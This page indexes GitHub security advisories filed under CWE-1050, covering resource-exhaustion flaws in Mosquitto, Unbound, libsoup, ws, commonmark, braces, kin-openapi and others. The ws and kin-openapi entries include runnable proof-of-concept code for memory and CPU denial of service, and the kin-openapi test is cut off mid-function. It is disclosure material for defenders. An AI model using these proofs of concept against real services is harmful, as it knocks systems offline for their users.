CWE-1050
AllowedExcessive Platform Resource Consumption within a Loop
Abstraction: Base · Status: Incomplete
The product has a loop body or loop condition that contains a control element that directly or indirectly consumes platform resources, e.g. messaging, sessions, locks, or file descriptors.
37 vulnerabilities reference this CWE, most recent first.
GHSA-5XP2-36V8-R67M
Vulnerability from github – Published: 2021-12-02 00:00 – Updated: 2023-10-02 12:30In versions 1.6 to 2.0.11 of Eclipse Mosquitto, an MQTT v5 client connecting with a large number of user-property properties could cause excessive CPU usage, leading to a loss of performance and possible denial of service.
{
"affected": [],
"aliases": [
"CVE-2021-41039"
],
"database_specific": {
"cwe_ids": [
"CWE-1050"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-01T20:15:00Z",
"severity": "HIGH"
},
"details": "In versions 1.6 to 2.0.11 of Eclipse Mosquitto, an MQTT v5 client connecting with a large number of user-property properties could cause excessive CPU usage, leading to a loss of performance and possible denial of service.",
"id": "GHSA-5xp2-36v8-r67m",
"modified": "2023-10-02T12:30:22Z",
"published": "2021-12-02T00:00:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41039"
},
{
"type": "WEB",
"url": "https://bugs.eclipse.org/bugs/show_bug.cgi?id=575314"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2023/dsa-5511"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6522-R5FQ-99GW
Vulnerability from github – Published: 2026-05-20 12:30 – Updated: 2026-07-29 15:30NLnet Labs Unbound up to and including version 1.25.0 has a vulnerability when handling replies with very large RRsets that Unbound needs to perform name compression for. Malicious upstream responses with very large RRsets with records that don't share a suffix above the root can cause Unbound to spend a considerable time applying name compression to downstream replies. This can lead to degraded performance and eventually denial of service in well orchestrated attacks. An adversary can exploit the vulnerability by querying Unbound for the specially crafted contents of a malicious zone with very large RRsets. Before Unbound replies to the query it will try to apply name compression which was an unbounded operation that could lock the CPU until the whole packet was complete. A compression limit was introduced in 1.21.1 for this but it didn't account for the case where records would not share any suffix above the root. That causes Unbound to go in a different code path because of the compression tree lookup failure and eventually not increment the compression counter for those operations. Unbound 1.25.1 contains a patch with a fix that increments the compression counter regardless of the compression tree lookup. This is a complement fix to CVE-2024-8508.
{
"affected": [],
"aliases": [
"CVE-2026-44390"
],
"database_specific": {
"cwe_ids": [
"CWE-1050",
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-20T10:16:28Z",
"severity": "MODERATE"
},
"details": "NLnet Labs Unbound up to and including version 1.25.0 has a vulnerability when handling replies with very large RRsets that Unbound needs to perform name compression for. Malicious upstream responses with very large RRsets with records that don\u0027t share a suffix above the root can cause Unbound to spend a considerable time applying name compression to downstream replies. This can lead to degraded performance and eventually denial of service in well orchestrated attacks. An adversary can exploit the vulnerability by querying Unbound for the specially crafted contents of a malicious zone with very large RRsets. Before Unbound replies to the query it will try to apply name compression which was an unbounded operation that could lock the CPU until the whole packet was complete. A compression limit was introduced in 1.21.1 for this but it didn\u0027t account for the case where records would not share any suffix above the root. That causes Unbound to go in a different code path because of the compression tree lookup failure and eventually not increment the compression counter for those operations. Unbound 1.25.1 contains a patch with a fix that increments the compression counter regardless of the compression tree lookup. This is a complement fix to CVE-2024-8508.",
"id": "GHSA-6522-r5fq-99gw",
"modified": "2026-07-29T15:30:48Z",
"published": "2026-05-20T12:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44390"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:24013"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36320"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36777"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:37282"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-44390"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2480130"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44390.json"
},
{
"type": "WEB",
"url": "https://www.nlnetlabs.nl/downloads/unbound/CVE-2026-44390.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber",
"type": "CVSS_V4"
}
]
}
GHSA-7WFQ-7P2F-6344
Vulnerability from github – Published: 2025-04-14 15:31 – Updated: 2026-06-26 00:31A flaw was found in libsoup. The implementation of HTTP range requests is vulnerable to a resource consumption attack. This flaw allows a malicious client to request the same range many times in a single HTTP request, causing the server to use large amounts of memory.
{
"affected": [],
"aliases": [
"CVE-2025-32907"
],
"database_specific": {
"cwe_ids": [
"CWE-1050"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-14T14:15:24Z",
"severity": "HIGH"
},
"details": "A flaw was found in libsoup. The implementation of HTTP range requests is vulnerable to a resource consumption attack. This flaw allows a malicious client to request the same range many times in a single HTTP request, causing the server to use large amounts of memory.",
"id": "GHSA-7wfq-7p2f-6344",
"modified": "2026-06-26T00:31:59Z",
"published": "2025-04-14T15:31:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32907"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:4439"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:4440"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:4508"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:7436"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:8128"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:8292"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2025-32907"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2359342"
},
{
"type": "WEB",
"url": "https://gitlab.gnome.org/GNOME/libsoup/-/issues/428"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-875Q-9H9J-QHMH
Vulnerability from github – Published: 2023-07-06 19:24 – Updated: 2024-04-04 05:34A remote denial of service vulnerability was found in the Linux kernel’s TIPC kernel module. The while loop in tipc_link_xmit() hits an unknown state while attempting to parse SKBs, which are not in the queue. Sending two small UDP packets to a system with a UDP bearer results in the CPU utilization for the system to instantly spike to 100%, causing a denial of service condition.
{
"affected": [],
"aliases": [
"CVE-2023-1390"
],
"database_specific": {
"cwe_ids": [
"CWE-1050"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-16T21:15:00Z",
"severity": "HIGH"
},
"details": "A remote denial of service vulnerability was found in the Linux kernel\u2019s TIPC kernel module. The while loop in tipc_link_xmit() hits an unknown state while attempting to parse SKBs, which are not in the queue. Sending two small UDP packets to a system with a UDP bearer results in the CPU utilization for the system to instantly spike to 100%, causing a denial of service condition.",
"id": "GHSA-875q-9h9j-qhmh",
"modified": "2024-04-04T05:34:39Z",
"published": "2023-07-06T19:24:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1390"
},
{
"type": "WEB",
"url": "https://github.com/torvalds/linux/commit/b77413446408fdd256599daf00d5be72b5f3e7c6"
},
{
"type": "WEB",
"url": "https://gist.github.com/netspooky/bee2d07022f6350bb88eaa48e571d9b5"
},
{
"type": "WEB",
"url": "https://infosec.exchange/%40_mattata/109427999461122360"
},
{
"type": "WEB",
"url": "https://infosec.exchange/@_mattata/109427999461122360"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20230420-0001"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8RR7-CVQ3-GMFH
Vulnerability from github – Published: 2026-09-01 20:28 – Updated: 2026-09-01 20:28Impact
AttributesExtension ships with the library but must be explicitly registered on the Environment; it is not included in CommonMarkConverter, GithubFlavoredMarkdownConverter, or GithubFlavoredMarkdownExtension. Applications that do not register AttributesExtension are not affected by this advisory.
Two paths in the extension re-process every attribute a node has already collected each time another attribute is applied to it. When the attributes carry distinct names, the collected set grows by one on every step and is walked again in full, so a run of n attributes costs O(n²).
1. Attribute nodes resolving to a common target (affected from 1.5.0).
AttributesListener::processDocument() merges each attribute node into the set accumulated for its target, then filters the result. Both operations traverse that entire set: AttributesHelper::mergeAttributes() rebuilds it with array_merge(), and AttributesHelper::filterAttributes() matches a regular expression against every name in it. A run of attribute nodes sharing one target therefore re-walks a set that grows by a key per node.
Two input shapes reach this path: adjacent inline attributes at the start of a block ({a0="v"}{a1="v"}…, where quoting the values is what keeps them separate — an unquoted value swallows the }{ that follows it), and a chain of attribute blocks held at their default target by reference definitions ({a0=v} / [a]: u / {a1=v} / [a]: u / …).
256 KB of adjacent inline attributes takes 20.0 seconds to convert, against 0.09 seconds once patched.
2. Consecutive attribute-block lines (affected from 2.0.0).
AttributesBlockContinueParser::tryContinue() merges each continuation line into the block's accumulated attributes, again rebuilding the whole set on every line. One distinct attribute per line ({a0=v} / {a1=v} / …) grows it by a key each time.
256 KB of such lines takes 1.9 seconds to convert while producing zero bytes of output, against 0.08 seconds once patched.
Relationship to GHSA-jjv6-8j6v-6j52. The fix released in 2.9.1 for that advisory made the class attribute cheap to accumulate, but left every other attribute name on the original path. Applications that upgraded to 2.9.1 or 2.9.2 remain exposed to this variant.
Overall impact. An unauthenticated attacker who can submit Markdown to an affected application can consume disproportionate CPU time with a comparatively small request, occupying PHP workers and preventing legitimate requests from completing. The impact is limited to availability: no data is disclosed, rendered output is unchanged, and no rendering restriction is bypassed.
Patches
The issue is patched in 2.10.0. Both paths now fold each node — or each line — into the accumulated attributes at a cost proportional to that node or line alone, rather than re-merging and re-filtering everything gathered so far. Rendered output is unchanged, down to the order in which attributes appear.
The listener path affects 1.5.0 through 2.9.2. The continuation-line path affects 2.0.0 through 2.9.2. The 1.x release line is no longer supported, so its users must upgrade to 2.10.0 or later.
Workarounds
If you cannot upgrade immediately:
- Do not register
AttributesExtensionwhen converting untrusted Markdown. This fully removes both paths. - If the extension is required, impose a strict maximum input length before conversion. Because the cost is quadratic, the cap must be small to meaningfully bound worst-case CPU time.
The attributes/allow allow-list added in 2.7.0 is not a mitigation. A non-empty allow-list happens to bound the first path, because unlisted names are discarded before they accumulate, but it does nothing for the second: continuation lines are merged while parsing, before any filtering takes place.
Restricting conversion to trusted users, applying strict execution-time limits, and rate-limiting requests reduce exposure but are not substitutes for upgrading.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "league/commonmark"
},
"ranges": [
{
"events": [
{
"introduced": "1.5.0"
},
{
"fixed": "2.10.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1050",
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-01T20:28:40Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n\n`AttributesExtension` ships with the library but must be explicitly registered on the `Environment`; it is not included in `CommonMarkConverter`, `GithubFlavoredMarkdownConverter`, or `GithubFlavoredMarkdownExtension`. **Applications that do not register `AttributesExtension` are not affected by this advisory.**\n\nTwo paths in the extension re-process every attribute a node has already collected each time another attribute is applied to it. When the attributes carry distinct names, the collected set grows by one on every step and is walked again in full, so a run of *n* attributes costs O(n\u00b2).\n\n**1. Attribute nodes resolving to a common target (affected from 1.5.0).**\n\n`AttributesListener::processDocument()` merges each attribute node into the set accumulated for its target, then filters the result. Both operations traverse that entire set: `AttributesHelper::mergeAttributes()` rebuilds it with `array_merge()`, and `AttributesHelper::filterAttributes()` matches a regular expression against every name in it. A run of attribute nodes sharing one target therefore re-walks a set that grows by a key per node.\n\nTwo input shapes reach this path: adjacent inline attributes at the start of a block (`{a0=\"v\"}{a1=\"v\"}\u2026`, where quoting the values is what keeps them separate \u2014 an unquoted value swallows the `}{` that follows it), and a chain of attribute blocks held at their default target by reference definitions (`{a0=v}` / `[a]: u` / `{a1=v}` / `[a]: u` / \u2026).\n\n256 KB of adjacent inline attributes takes 20.0 seconds to convert, against 0.09 seconds once patched.\n\n**2. Consecutive attribute-block lines (affected from 2.0.0).**\n\n`AttributesBlockContinueParser::tryContinue()` merges each continuation line into the block\u0027s accumulated attributes, again rebuilding the whole set on every line. One distinct attribute per line (`{a0=v}` / `{a1=v}` / \u2026) grows it by a key each time.\n\n256 KB of such lines takes 1.9 seconds to convert while producing **zero bytes of output**, against 0.08 seconds once patched.\n\n**Relationship to GHSA-jjv6-8j6v-6j52.** The fix released in 2.9.1 for that advisory made the `class` attribute cheap to accumulate, but left every other attribute name on the original path. **Applications that upgraded to 2.9.1 or 2.9.2 remain exposed to this variant.**\n\n**Overall impact.** An unauthenticated attacker who can submit Markdown to an affected application can consume disproportionate CPU time with a comparatively small request, occupying PHP workers and preventing legitimate requests from completing. The impact is limited to availability: no data is disclosed, rendered output is unchanged, and no rendering restriction is bypassed.\n\n### Patches\n\nThe issue is patched in `2.10.0`. Both paths now fold each node \u2014 or each line \u2014 into the accumulated attributes at a cost proportional to that node or line alone, rather than re-merging and re-filtering everything gathered so far. Rendered output is unchanged, down to the order in which attributes appear.\n\nThe listener path affects `1.5.0` through `2.9.2`. The continuation-line path affects `2.0.0` through `2.9.2`. The 1.x release line is no longer supported, so its users must upgrade to `2.10.0` or later.\n\n### Workarounds\n\nIf you cannot upgrade immediately:\n\n- **Do not register `AttributesExtension`** when converting untrusted Markdown. This fully removes both paths.\n- If the extension is required, **impose a strict maximum input length before conversion**. Because the cost is quadratic, the cap must be small to meaningfully bound worst-case CPU time.\n\nThe `attributes/allow` allow-list added in 2.7.0 is **not** a mitigation. A non-empty allow-list happens to bound the first path, because unlisted names are discarded before they accumulate, but it does nothing for the second: continuation lines are merged while parsing, before any filtering takes place.\n\nRestricting conversion to trusted users, applying strict execution-time limits, and rate-limiting requests reduce exposure but are not substitutes for upgrading.",
"id": "GHSA-8rr7-cvq3-gmfh",
"modified": "2026-09-01T20:28:40Z",
"published": "2026-09-01T20:28:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thephpleague/commonmark/security/advisories/GHSA-8rr7-cvq3-gmfh"
},
{
"type": "WEB",
"url": "https://github.com/thephpleague/commonmark/commit/f27eb720972490b5af4dbb635ad8634529faf9f2"
},
{
"type": "PACKAGE",
"url": "https://github.com/thephpleague/commonmark"
},
{
"type": "WEB",
"url": "https://github.com/thephpleague/commonmark/releases/tag/2.10.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "league/commonmark: Denial of service via distinctly-named attributes in the Attributes extension"
}
GHSA-96HV-2XVQ-FX4P
Vulnerability from github – Published: 2026-06-15 16:34 – Updated: 2026-07-13 15:31Impact
A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.
Proof of concept
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`);
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`client close - code: ${code} reason: ${reason.toString()}`);
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`server close - code: ${code} reason: ${reason.toString()}`);
});
});
Patches
The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).
Workarounds
In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.
Credits
The vulnerability was responsibly disclosed and fixed by Nadav Magier.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "ws"
},
"ranges": [
{
"events": [
{
"introduced": "1.1.0"
},
{
"fixed": "5.2.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "ws"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.2.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "ws"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.5.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "ws"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.21.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48779"
],
"database_specific": {
"cwe_ids": [
"CWE-1050",
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T16:34:23Z",
"nvd_published_at": "2026-06-17T13:20:42Z",
"severity": "HIGH"
},
"details": "### Impact\n\nA high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.\n\n### Proof of concept\n\n```js\nimport { WebSocket, WebSocketServer } from \u0027ws\u0027;\n\nconst wss = new WebSocketServer({ port: 0 }, function () {\n const data = Buffer.alloc(1);\n const options = { fin: false };\n const { port } = wss.address();\n const ws = new WebSocket(`ws://localhost:${port}`);\n\n ws.on(\u0027open\u0027, function () {\n (function send() {\n ws.send(data, options, function (err) {\n if (err) return;\n send();\n });\n })();\n });\n\n ws.on(\u0027error\u0027, console.error);\n ws.on(\u0027close\u0027, function (code, reason) {\n console.log(`client close - code: ${code} reason: ${reason.toString()}`);\n });\n});\n\nwss.on(\u0027connection\u0027, function (ws) {\n ws.on(\u0027error\u0027, console.error);\n ws.on(\u0027close\u0027, function (code, reason) {\n console.log(`server close - code: ${code} reason: ${reason.toString()}`);\n });\n});\n```\n\n### Patches\n\nThe vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).\n\n### Workarounds\n\nIn vulnerable versions, the issue can be mitigated by lowering the value of the `maxPayload` option if possible.\n\n### Credits\n\nThe vulnerability was responsibly disclosed and fixed by [Nadav Magier](https://github.com/Nadav0077).",
"id": "GHSA-96hv-2xvq-fx4p",
"modified": "2026-07-13T15:31:39Z",
"published": "2026-06-15T16:34:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48779"
},
{
"type": "WEB",
"url": "https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8"
},
{
"type": "WEB",
"url": "https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94"
},
{
"type": "WEB",
"url": "https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53"
},
{
"type": "WEB",
"url": "https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48779.json"
},
{
"type": "PACKAGE",
"url": "https://github.com/websockets/ws"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2489661"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-48779"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:37272"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36820"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36754"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:34342"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33574"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33183"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33173"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33163"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33160"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33155"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:29197"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:27171"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:26638"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "ws: Memory exhaustion DoS from tiny fragments and data chunks"
}
GHSA-GGH5-2M6X-59XG
Vulnerability from github – Published: 2026-09-28 09:30 – Updated: 2026-09-28 09:30A denial of service via unsigned underflow in libXpm's write path in libXpm before 3.5.19 could be used by local attackers to cause unbounded CPU usage and memory exhaustion.
{
"affected": [],
"aliases": [
"CVE-2026-94287"
],
"database_specific": {
"cwe_ids": [
"CWE-1050"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-28T09:17:08Z",
"severity": "MODERATE"
},
"details": "A denial of service via unsigned underflow in libXpm\u0027s write path in libXpm before 3.5.19 could be used by local attackers to cause unbounded CPU usage and memory exhaustion.",
"id": "GHSA-ggh5-2m6x-59xg",
"modified": "2026-09-28T09:30:32Z",
"published": "2026-09-28T09:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-94287"
},
{
"type": "WEB",
"url": "https://gitlab.freedesktop.org/xorg/lib/libxpm/-/merge_requests/32/diffs?commit_id=3a68f818b1628d7ad96245b0f4d15a32a015b0ab"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GRV7-FG5C-XMJG
Vulnerability from github – Published: 2024-05-14 18:30 – Updated: 2024-06-10 20:17The NPM package braces fails to limit the number of characters it can handle, which could lead to Memory Exhaustion. In lib/parse.js, if a malicious user sends "imbalanced braces" as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "braces"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-4068"
],
"database_specific": {
"cwe_ids": [
"CWE-1050",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-10T20:17:26Z",
"nvd_published_at": "2024-05-14T15:42:48Z",
"severity": "HIGH"
},
"details": "The NPM package `braces` fails to limit the number of characters it can handle, which could lead to Memory Exhaustion. In `lib/parse.js,` if a malicious user sends \"imbalanced braces\" as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.\n",
"id": "GHSA-grv7-fg5c-xmjg",
"modified": "2024-06-10T20:17:26Z",
"published": "2024-05-14T18:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4068"
},
{
"type": "WEB",
"url": "https://github.com/micromatch/braces/issues/35"
},
{
"type": "WEB",
"url": "https://github.com/micromatch/braces/pull/37"
},
{
"type": "WEB",
"url": "https://github.com/micromatch/braces/pull/40"
},
{
"type": "WEB",
"url": "https://github.com/micromatch/braces/commit/415d660c3002d1ab7e63dbf490c9851da80596ff"
},
{
"type": "WEB",
"url": "https://devhub.checkmarx.com/cve-details/CVE-2024-4068"
},
{
"type": "PACKAGE",
"url": "https://github.com/micromatch/braces"
},
{
"type": "WEB",
"url": "https://github.com/micromatch/braces/blob/98414f9f1fabe021736e26836d8306d5de747e0d/lib/parse.js#L308"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Uncontrolled resource consumption in braces"
}
GHSA-H4R5-MXV5-8MJC
Vulnerability from github – Published: 2026-10-15 20:18 – Updated: 2026-10-15 20:18Summary
openapi3filter decodes deepObject-style query parameters by looping over every key in the request's query string. Inside that loop it recompiles a loop-invariant regular expression on every iteration. The pattern depends only on the spec-defined parameter name, not on the loop variable, so it is compiled N times for N query keys instead of once. Because the number of query keys is attacker-controlled and unbounded, a single request with many junk query keys forces a proportional number of regexp.MustCompile calls, consuming CPU. A handful of concurrent requests can saturate all cores — an uncontrolled-resource-consumption denial of service.
This is not ReDoS: the pattern is fixed (^<param>\[) and matches in linear time. The cost is the repeated compilation of an invariant regexp, once per attacker-supplied query key.
Details
In openapi3filter/req_resp_decoder.go, the deepObject branch of urlValuesDecoder.DecodeObject builds a per-parameter property map by iterating over all query keys:
case "deepObject":
propsFn = func(params url.Values) (map[string]string, error) {
props := make(map[string]string)
for key, values := range params { // req_resp_decoder.go:689
if !regexp.MustCompile(fmt.Sprintf(`^%s\[`, regexp.QuoteMeta(param))).MatchString(key) { // :690
continue
}
matches := deepObjectBracketRE.FindAllStringSubmatch(key, -1)
...
}
...
}
The regexp built at req_resp_decoder.go:690 depends only on param — the parameter name defined in the OpenAPI spec — which is constant for the whole loop. Yet regexp.MustCompile(...) is invoked inside the for key, values := range params loop at req_resp_decoder.go:689, so it is recompiled once for every key present in the query string.
Contrast this with the already-hoisted, package-level regexp used two lines below:
var deepObjectBracketRE = regexp.MustCompile(`\[(.*?)\]`) // req_resp_decoder.go:41
deepObjectBracketRE is compiled exactly once at package init and reused. The per-parameter pattern at :690 should be compiled the same way (once, outside the loop), but instead is rebuilt on every iteration.
regexp.MustCompile costs on the order of a few microseconds per call. The number of iterations equals the number of query keys N, which the client fully controls (a ~1 MB URL holds roughly 100k keys). For each deepObject parameter M defined on the matched route, the request performs N × M compilations. The work is CPU-bound, happens during request validation before any handler logic, and scales linearly with request size, so an attacker converts cheap request bytes into expensive server CPU.
Affected code path: ValidateRequest → ValidateParameter → decodeStyledParameter → urlValuesDecoder.DecodeObject (the deepObject case). Any operation with at least one in: query, style: deepObject parameter is exploitable.
PoC
The following self-contained test (package openapi3filter_test) defines a spec with a single deepObject query parameter, then validates two requests that differ only in the number of junk query keys. Decoding time grows with the key count even though none of the junk keys are part of the parameter.
Save as openapi3filter/advisory_poc_test.go:
package openapi3filter_test
import (
"context"
"fmt"
"net/http"
"strings"
"testing"
"time"
"github.com/getkin/kin-openapi/openapi3"
"github.com/getkin/kin-openapi/openapi3filter"
"github.com/getkin/kin-openapi/routers/gorillamux"
)
const specDeepObjectParam = `
openapi: 3.0.0
info: {title: PoC, version: 1.0.0}
paths:
/f:
get:
parameters:
- name: filter
in: query
style: deepObject
explode: true
schema: {type: object, properties: {a: {type: string}}}
responses:
'200': {description: ok}
`
// TestPoCDeepObjectRegexpCPU demonstrates that decode cost scales with the
// number of (attacker-controlled) junk query keys because a loop-invariant
// regexp is recompiled once per key. It logs timings for two key counts and
// fails if the larger count crosses a clearly-abnormal CPU threshold.
func o(t *testing.T) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(specDeepObjectParam))
if err != nil {
t.Fatalf("load: %v", err)
}
if err := doc.Validate(loader.Context); err != nil {
t.Fatalf("validate: %v", err)
}
router, err := gorillamux.NewRouter(doc)
if err != nil {
t.Fatalf("router: %v", err)
}
run := func(n int) time.Duration {
var sb strings.Builder
sb.WriteString("/f?filter[a]=x")
for i := 0; i < n; i++ {
fmt.Fprintf(&sb, "&j%d=1", i)
}
req, _ := http.NewRequest(http.MethodGet, sb.String(), nil)
route, pathParams, err := router.FindRoute(req)
if err != nil {
t.Fatalf("route: %v", err)
}
start := time.Now()
